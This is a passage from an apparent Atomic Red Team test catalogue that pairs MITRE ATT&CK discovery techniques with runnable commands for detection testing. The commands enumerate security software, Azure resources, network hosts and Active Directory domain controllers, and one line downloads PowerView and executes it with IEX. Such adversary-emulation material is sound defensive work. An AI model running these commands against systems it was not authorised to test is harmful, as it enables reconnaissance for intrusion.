          mc\ntasklist.exe | findstr /i \"virus cb defender cylance mc\"\n"
        name: command_prompt
    - name: Security Software Discovery - powershell
      auto_generated_guid: 7f566051-f033-49fb-89de-b6bacab730f0
      description: |
        Methods to identify Security Software on an endpoint

        when sucessfully executed, powershell is going to processes related AV products if they are running.
        Note that, depending on the privilege of current user, get-process | ?{$_.Description -like "*"} may not return the processes related to AV products of the check.
        For instance, only with Administrator right, you can see the process description of McAffee processes. Hence, it is better to use get-process | ?{$_.ProcessName -like "*"},
        if you know the name of those processes.
      supported_platforms:
      - windows
      executor:
        command: |
          get-process | ?{$_.Description -like "*virus*"}
          get-process | ?{$_.Description -like "*carbonblack*"}
          get-process | ?{$_.Description -like "*defender*"}
          get-process | ?{$_.Description -like "*cylance*"}
          get-process | ?{$_.Description -like "*mc*"}
          get-process | ?{$_.ProcessName -like "*mc*"}
          get-process | Where-Object { $_.ProcessName -eq "Sysmon" }
        name: powershell
    - name: Security Software Discovery - ps (macOS)
      auto_generated_guid: ba62ce11-e820-485f-9c17-6f3c857cd840
      description: |
        Methods to identify Security Software on an endpoint
        when sucessfully executed, command shell  is going to display AV/Security software it is running.
      supported_platforms:
      - macos
      executor:
        command: 'ps aux | egrep ''Little\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu''

          '
        name: sh
    - name: Security Software Discovery - ps (Linux)
      auto_generated_guid: 23b91cd2-c99c-4002-9e41-317c63e024a2
      description: |
        Methods to identify Security Software on an endpoint
        when sucessfully executed, command shell  is going to display AV/Security software it is running.
      supported_platforms:
      - linux
      executor:
        command: 'ps aux | egrep ''falcond|nessusd|cbagentd|td-agent|packetbeat|filebeat|auditbeat|osqueryd''

          '
        name: sh
    - name: Security Software Discovery - pgrep (FreeBSD)
      auto_generated_guid: fa96c21c-5fd6-4428-aa28-51a2fbecdbdc
      description: |
        Methods to identify Security Software on an endpoint
        when sucessfully executed, command shell is going to display AV/Security software it is running.
      supported_platforms:
      - linux
      executor:
        command: 'pgrep -l ''bareos-fd|icinga2|cbagentd|wazuh-agent|packetbeat|filebeat|osqueryd''

          '
        name: sh
    - name: Security Software Discovery - Sysmon Service
      auto_generated_guid: fe613cf3-8009-4446-9a0f-bc78a15b66c9
      description: |
        Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).

        when sucessfully executed, the test is going to display sysmon driver instance if it is installed.
      supported_platforms:
      - windows
      executor:
        command: 'fltmc.exe | findstr.exe 385201

          '
        name: command_prompt
        elevation_required: true
    - name: Security Software Discovery - AV Discovery via WMI
      auto_generated_guid: 1553252f-14ea-4d3b-8a08-d7a4211aa945
      description: |
        Discovery of installed antivirus products via a WMI query.

        when sucessfully executed, the test is going to display installed AV software.
      supported_platforms:
      - windows
      executor:
        command: wmic.exe /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct
          Get displayName /Format:List
        name: command_prompt
        elevation_required: true
    - name: Security Software Discovery - AV Discovery via Get-CimInstance and Get-WmiObject
        cmdlets
      auto_generated_guid: 015cd268-996e-4c32-8347-94c80c6286ee
      description: |
        Discovery of installed antivirus products via Get-CimInstance and Get-WmiObject cmdlets of powershell.

        when sucessfully executed, information about installed AV software is displayed..
      supported_platforms:
      - windows
      executor:
        command: |
          powershell Get-CimInstance -Namespace root/securityCenter2 -classname antivirusproduct
          powershell Get-WmiObject -Namespace root\securitycenter2 -Class antivirusproduct
        name: command_prompt
        elevation_required: true
    - name: Security Software Discovery - Windows Defender Enumeration
      auto_generated_guid: d3415a0e-66ef-429b-acf4-a768876954f6
      description: |
        Windows Defender Enumeration via different built-in windows native tools.
        when sucessfully executed, information about windows defender is displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          Get-Service WinDefend #check the service state of Windows Defender
          Get-MpComputerStatus #provides the current status of security solution elements, including Anti-Spyware, Antivirus, LoavProtection, Real-time protection, etc
          Get-MpThreat #threats details that have been detected using MS Defender
        name: powershell
        elevation_required: true
    - name: Security Software Discovery - Windows Firewall Enumeration
      auto_generated_guid: 9dca5a1d-f78c-4a8d-accb-d6de67cfed6b
      description: |
        Enumerates windows firewall to retrieves firewall rules from the target computer.

        when sucessfully executed, details of windows firewall is displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          Get-NetFirewallProfile | Format-Table Name, Enabled
          Get-NetFirewallSetting
          Get-NetFirewallRule | select DisplayName, Enabled, Description
        name: powershell
        elevation_required: true
  T1526:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Cloud Service Discovery
      description: |-
        An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.

        Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)

        For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)

        Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Suzy Schapperle - Microsoft Azure Red Team
      - Praetorian
      - Thanabodi Phrakhun, I-SECURE
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Cloud Service: Cloud Service Enumeration'
      type: attack-pattern
      id: attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db
      created: '2019-08-30T13:01:10.120Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1526
        external_id: T1526
      - source_name: Azure AD Graph API
        description: Microsoft. (2016, March 26). Operations overview | Graph API
          concepts. Retrieved June 18, 2020.
        url: https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview
      - source_name: Azure - Resource Manager API
        description: Microsoft. (2019, May 20). Azure Resource Manager. Retrieved
          June 17, 2020.
        url: https://docs.microsoft.com/en-us/rest/api/resources/
      - source_name: Azure - Stormspotter
        description: Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June
          17, 2020.
        url: https://github.com/Azure/Stormspotter
      - source_name: GitHub Pacu
        description: Rhino Security Labs. (2019, August 22). Pacu. Retrieved October
          17, 2019.
        url: https://github.com/RhinoSecurityLabs/pacu
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1526
    atomic_tests:
    - name: Azure - Dump Subscription Data with MicroBurst
      auto_generated_guid: 1e40bb1d-195e-401e-a86b-c192f55e005c
      description: "Upon successful execution, this test will enumerate all resources
        that are contained within a valid Azure subscription. \nThe resources enumerated
        will display on screen, as well as several csv files and folders will be output
        to a specified directory, listing what resources were discovered by the script.
        \nSee https://dev.to/cheahengsoon/enumerating-subscription-information-with-microburst-35a1\n"
      supported_platforms:
      - iaas:azure
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: 
        password:
          description: Azure AD password
          type: string
          default: T1082Az
        output_directory:
          description: Directory to output results to
          type: string
          default: "$env:temp\\T1526Test1"
        subscription_name:
          description: Azure subscription name to scan
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'The Get-AzDomainInfo script must exist in PathToAtomicsFolder\..\ExternalPayloads.

          '
        prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Get-AzDomainInfo.ps1"){exit
          0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/Az/Get-AzDomainInfo.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Get-AzDomainInfo.ps1"
      - description: 'The Az module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name Az -Force

          '
      executor:
        command: |
          import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzDomainInfo.ps1"
          $Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
          Connect-AzAccount -Credential $Credential | out-null
          Get-AzDomainInfo -folder #{output_directory} -subscription "#{subscription_name}" -verbose
        cleanup_command: 'remove-item #{output_directory} -recurse -force -erroraction
          silentlycontinue

          '
        name: powershell
  T1018:
    technique:
      modified: '2023-08-14T19:08:59.741Z'
      name: Remote System Discovery
      description: "Adversaries may attempt to get a listing of other systems by IP
        address, hostname, or other logical identifier on a network that may be used
        for Lateral Movement from the current system. Functionality could exist within
        remote access tools to enable this, but utilities available on the operating
        system could also be used such as  [Ping](https://attack.mitre.org/software/S0097)
        or <code>net view</code> using [Net](https://attack.mitre.org/software/S0039).\n\nAdversaries
        may also analyze data from local host files (ex: <code>C:\\Windows\\System32\\Drivers\\etc\\hosts</code>
        or <code>/etc/hosts</code>) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099)
        cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries
        may also target discovery of network infrastructure as well as leverage [Network
        Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network
        devices to gather detailed information about systems within a network (e.g.
        <code>show cdp neighbors</code>, <code>show arp</code>).(Citation: US-CERT-TA18-106A)(Citation:
        CISA AR21-126A FIVEHANDS May 2021)  \n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Daniel Stepanic, Elastic
      - RedHuntLabs, @redhuntlabs
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        Monitor for processes that can be used to discover remote systems, such as <code>ping.exe</code> and <code>tracert.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '3.5'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Access'
      - 'Network Traffic: Network Connection Creation'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735
      created: '2017-05-31T21:30:28.187Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1018
        external_id: T1018
      - source_name: CISA AR21-126A FIVEHANDS May 2021
        description: CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware.
          Retrieved June 7, 2021.
        url: https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a
      - source_name: Elastic - Koadiac Detection with EQL
        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
        url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
      - source_name: US-CERT-TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1018
    atomic_tests:
    - name: Remote System Discovery - net
      auto_generated_guid: 85321a9c-897f-4a60-9f20-29788e50bccd
      description: |
        Identify remote systems with net.exe.

        Upon successful execution, cmd.exe will execute `net.exe view` and display results of local systems on the network that have file and print sharing enabled.
      supported_platforms:
      - windows
      executor:
        command: |
          net view /domain
          net view
        name: command_prompt
    - name: Remote System Discovery - net group Domain Computers
      auto_generated_guid: f1bf6c8f-9016-4edf-aff9-80b65f5d711f
      description: |
        Identify remote systems with net.exe querying the Active Directory Domain Computers group.

        Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the "Domain Computers" group. Output will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: 'net group "Domain Computers" /domain

          '
        name: command_prompt
    - name: Remote System Discovery - nltest
      auto_generated_guid: 52ab5108-3f6f-42fb-8ba3-73bc054f22c8
      description: |
        Identify domain controllers for specified domain.

        Upon successful execution, cmd.exe will execute nltest.exe against a target domain to retrieve a list of domain controllers. Output will be via stdout.
      supported_platforms:
      - windows
      input_arguments:
        target_domain:
          description: Domain to query for domain controllers
          type: string
          default: "%userdnsdomain%"
      executor:
        command: 'nltest.exe /dclist:#{target_domain}

          '
        name: command_prompt
    - name: Remote System Discovery - ping sweep
      auto_generated_guid: 6db1f57f-d1d5-4223-8a66-55c9c65a9592
      description: |
        Identify remote systems via ping sweep.

        Upon successful execution, cmd.exe will perform a for loop against the 192.168.1.1/24 network. Output will be via stdout.
      supported_platforms:
      - windows
      input_arguments:
        start_host:
          description: Last octet starting value for ping sweep.
          type: string
          default: '1'
        stop_host:
          description: Last octet ending value for ping sweep.
          type: string
          default: '254'
        subnet:
          description: Subnet used for ping sweep.
          type: string
          default: 192.168.1
      executor:
        command: "for /l %i in (#{start_host},1,#{stop_host}) do ping -n 1 -w 100
          #{subnet}.%i  \n"
        name: command_prompt
    - name: Remote System Discovery - arp
      auto_generated_guid: 2d5a61f5-0447-4be4-944a-1f8530ed6574
      description: "Identify remote systems via arp. \n\nUpon successful execution,
        cmd.exe will execute arp to list out the arp cache. Output will be via stdout.\n"
      supported_platforms:
      - windows
      executor:
        command: 'arp -a

          '
        name: command_prompt
    - name: Remote System Discovery - arp nix
      auto_generated_guid: acb6b1ff-e2ad-4d64-806c-6c35fe73b951
      description: |
        Identify remote systems via arp.

        Upon successful execution, sh will execute arp to list out the arp cache. Output will be via stdout.
      supported_platforms:
      - linux
      - macos
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if arp command exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v arp)" ]; then exit 0; else exit 1;
          fi;

          '
        get_prereq_command: "(which yum && yum -y install net-tools)||(which apt-get
          && apt-get install -y net-tools)\n"
      executor:
        command: 'arp -a | grep -v ''^?''

          '
        name: sh
    - name: Remote System Discovery - sweep
      auto_generated_guid: 96db2632-8417-4dbb-b8bb-a8b92ba391de
      description: |
        Identify remote systems via ping sweep.

        Upon successful execution, sh will perform a ping sweep on the 192.168.1.1/24 and echo via stdout if an IP is active.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        start_host:
          description: Subnet used for ping sweep.
          type: string
          default: '1'
        stop_host:
          description: Subnet used for ping sweep.
          type: string
          default: '254'
        subnet:
          description: Subnet used for ping sweep.
          type: string
          default: 192.168.1
      executor:
        command: 'for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip;
          [ $? -eq 0 ] && echo "#{subnet}.$ip UP" || : ; done

          '
        name: sh
    - name: Remote System Discovery - nslookup
      auto_generated_guid: baa01aaa-5e13-45ec-8a0d-e46c93c9760f
      description: |
        Powershell script that runs nslookup on cmd.exe against the local /24 network of the first network adaptor listed in ipconfig.

        Upon successful execution, powershell will identify the ip range (via ipconfig) and perform a for loop and execute nslookup against that IP range. Output will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: |
          $localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
          $pieces = $localip.split(".")
          $firstOctet = $pieces[0]
          $secondOctet = $pieces[1]
          $thirdOctet = $pieces[2]
          foreach ($ip in 1..255 | % { "$firstOctet.$secondOctet.$thirdOctet.$_" } ) {cmd.exe /c nslookup $ip}
        name: powershell
        elevation_required: true
    - name: Remote System Discovery - adidnsdump
      auto_generated_guid: 95e19466-469e-4316-86d2-1dc401b5a959
      description: |
        This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks
        Python 3 and adidnsdump must be installed, use the get_prereq_command's to meet the prerequisites for this test.
        Successful execution of this test will list dns zones in the terminal.
      supported_platforms:
      - windows
      input_arguments:
        user_name:
          description: username including domain.
          type: string
          default: domain\user
        acct_pass:
          description: Account password.
          type: string
          default: password
        host_name:
          description: hostname or ip address to connect to.
          type: string
          default: 192.168.1.1
        venv_path:
          description: Path to the folder for the tactics venv
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\venv_t1018
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must have python 3 installed

          '
        prereq_command: 'if (Get-Command py -errorAction SilentlyContinue) { exit
          0 } else { exit 1 }

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe"
          Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait
      - description: 'Computer must have venv configured at #{venv_path}

          '
        prereq_command: 'if (Test-Path -Path "#{venv_path}" ) { exit 0 } else { exit
          1 }

          '
        get_prereq_command: 'py -m venv "#{venv_path}"

          '
      - description: 'adidnsdump must be installed

          '
        prereq_command: 'if (Get-Command "#{venv_path}\Scripts\adidnsdump" -errorAction
          SilentlyContinue) { exit 0 } else { exit 1 }

          '
        get_prereq_command: '& "#{venv_path}\Scripts\pip.exe" install --no-cache-dir
          adidnsdump 2>&1 | Out-Null

          '
      executor:
        command: '"#{venv_path}\Scripts\adidnsdump" -u #{user_name} -p #{acct_pass}
          --print-zones #{host_name}

          '
        name: command_prompt
        elevation_required: true
    - name: Adfind - Enumerate Active Directory Computer Objects
      auto_generated_guid: a889f5be-2d54-4050-bd05-884578748bb4
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Computer Objects
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        optional_args:
          description: Allows defining arguments to add to the adfind command to tailor
            it to the specific needs of the environment. Use "-arg" notation to add
            arguments separated by spaces.
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
          Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=computer)
          #{optional_args}

          '
        name: command_prompt
    - name: Adfind - Enumerate Active Directory Domain Controller Objects
      auto_generated_guid: 5838c31e-a0e2-4b9f-b60a-d79d2cb7995e
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Domain Controller Objects
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        optional_args:
          description: Allows defining arguments to add to the adfind command to tailor
            it to the specific needs of the environment. Use "-arg" notation to add
            arguments separated by spaces.
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
          Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args}
          -sc dclist

          '
        name: command_prompt
    - name: Remote System Discovery - ip neighbour
      auto_generated_guid: 158bd4dd-6359-40ab-b13c-285b9ef6fa25
      description: "Use the ip neighbour command to display the known link layer (ARP
        table) addresses for hosts sharing the same network segment. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if ip command exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi;

          '
        get_prereq_command: 'apt-get install iproute2 -y

          '
      executor:
        command: 'ip neighbour show

          '
        name: sh
    - name: Remote System Discovery - ip route
      auto_generated_guid: 1a4ebe70-31d0-417b-ade2-ef4cb3e7d0e1
      description: "Use the ip route command to display the kernels routing tables.
        \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if ip command exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi;

          '
        get_prereq_command: 'apt-get install iproute2 -y

          '
      executor:
        command: 'ip route show

          '
        name: sh
    - name: Remote System Discovery - netstat
      auto_generated_guid: d2791d72-b67f-4615-814f-ec824a91f514
      description: 'Use the netstat command to display the kernels routing tables.

        '
      supported_platforms:
      - linux
      executor:
        command: 'netstat -r | grep default

          '
        name: sh
    - name: Remote System Discovery - ip tcp_metrics
      auto_generated_guid: 6c2da894-0b57-43cb-87af-46ea3b501388
      description: "Use the ip tcp_metrics command to display the recent cached entries
        for IPv4 and IPv6 source and destination addresses. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if ip command exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi;

          '
        get_prereq_command: 'apt-get install iproute2 -y

          '
      executor:
        command: 'ip tcp_metrics show |grep --invert-match "^127\."

          '
        name: sh
    - name: Enumerate domain computers within Active Directory using DirectorySearcher
      auto_generated_guid: 962a6017-1c09-45a6-880b-adc9c57cb22e
      description: "This test is a Powershell script that enumerates Active Directory
        to determine computers that are joined to the domain. \nThis test is designed
        to mimic how SessionGopher can determine the additional systems within a domain,
        which has been used before by threat actors to aid in lateral movement. \nReference:
        [Head Fake: Tackling Disruptive Ransomware Attacks](https://www.mandiant.com/resources/head-fake-tackling-disruptive-ransomware-attacks).
        \nUpon successful execution, this test will output the names of the computers
        that reside on the domain to the console window. \n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: This PC must be joined to a domain.
        prereq_command: if ((Get-WmiObject -Class Win32_ComputerSystem).partofdomain
          -eq $true) {exit 0} else {exit 1}
        get_prereq_command: 'write-host "This PC must be manually added to a domain." '
      executor:
        command: |
          $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher("(ObjectCategory=Computer)")
          $DirectorySearcher.PropertiesToLoad.Add("Name")
          $Computers = $DirectorySearcher.findall()
          foreach ($Computer in $Computers) {
            $Computer = $Computer.Properties.name
            if (!$Computer) { Continue }
            Write-Host $Computer}
        name: powershell
        elevation_required: false
    - name: Enumerate Active Directory Computers with Get-AdComputer
      auto_generated_guid: 97e89d9e-e3f5-41b5-a90f-1e0825df0fdf
      description: |
        The following Atomic test will utilize Get-AdComputer to enumerate Computers within Active Directory.
        Upon successful execution a listing of Computers will output with their paths in AD.
        Reference: https://github.com/MicrosoftDocs/windows-powershell-docs/blob/main/docset/winserver2022-ps/activedirectory/Get-ADComputer.md
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: 'Get-AdComputer -Filter *

          '
    - name: Enumerate Active Directory Computers with ADSISearcher
      auto_generated_guid: 64ede6ac-b57a-41c2-a7d1-32c6cd35397d
      description: |
        The following Atomic test will utilize ADSISearcher to enumerate computers within Active Directory.
        Upon successful execution a listing of computers will output with their paths in AD.
        Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: '([adsisearcher]"objectcategory=computer").FindAll(); ([adsisearcher]"objectcategory=computer").FindOne()

          '
    - name: Get-DomainController with PowerView
      auto_generated_guid: b9d2e8ca-5520-4737-8076-4f08913da2c4
      description: 'Utilizing PowerView, run Get-DomainController to identify the
        Domain Controller. Upon execution, information about the domain controller
        within the domain will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose
        name: powershell
    - name: Get-WmiObject to Enumerate Domain Controllers
      auto_generated_guid: e3cf5123-f6c9-4375-bdf2-1bb3ba43a1ad
      description: |
        The following Atomic test will utilize get-wmiobject to enumerate Active Directory for Domain Controllers.
        Upon successful execution a listing of Systems from AD will output with their paths.
        Reference: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          try { get-wmiobject -class ds_computer -namespace root\directory\ldap -ErrorAction Stop }
          catch { $_; exit $_.Exception.HResult }
    - name: Remote System Discovery - net group Domain Controller
      auto_generated_guid: 5843529a-5056-4bc1-9c13-a311e2af4ca0
      description: |
        Identify remote systems with net.exe querying the Active Directory Domain Controller.
        Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the "Domain Controller" in the domain. Output will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: 'net group /domain "Domain controllers"

          '
        name: command_prompt
    - name: Enumerate Remote Hosts with Netscan
      auto_generated_guid: b8147c9a-84db-4ec1-8eee-4e0da75f0de5
      description: This test uses Netscan to identify remote hosts in a specified
        network range.
      supported_platforms:
      - windows
      input_arguments:
        netscan_path:
          description: NetScan exe location
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\netscan\64-bit\netscan.exe
        range_to_scan:
          description: The IP range to scan with Netscan
          type: string
          default: 127.0.0.1-127.0.0.1
      dependency_executor_name: powershell
      dependencies:
      - description: 'Netscan must be installed

          '
        prereq_command: if (Test-Path "#{netscan_path}") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\netscan.zip" "https://www.softperfect.com/download/files/netscan_portable.zip"
          Expand-Archive -LiteralPath "PathToAtomicsFolder\..\ExternalPayloads\netscan.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\netscan"
      executor:
        command: cmd /c '#{netscan_path}' /hide /auto:"$env:temp\T1018NetscanOutput.txt"
          /range:'#{range_to_scan}'
        cleanup_command: 'remove-item "$env:temp\T1018NetscanOutput.txt" -force -erroraction
          silentlycontinue

          '
        name: powershell
        elevation_required: false
  T1046:
    technique:
      modified: '2023-08-11T21:10:09.547Z'
      name: Network Service Discovery
      description: "Adversaries may attempt to get a listing of services running on
        remote hosts and local network infrastructure devices, including those that
        may be vulnerable to remote software exploitation. Common methods to acquire
        this information include port and/or vulnerability scans using tools that
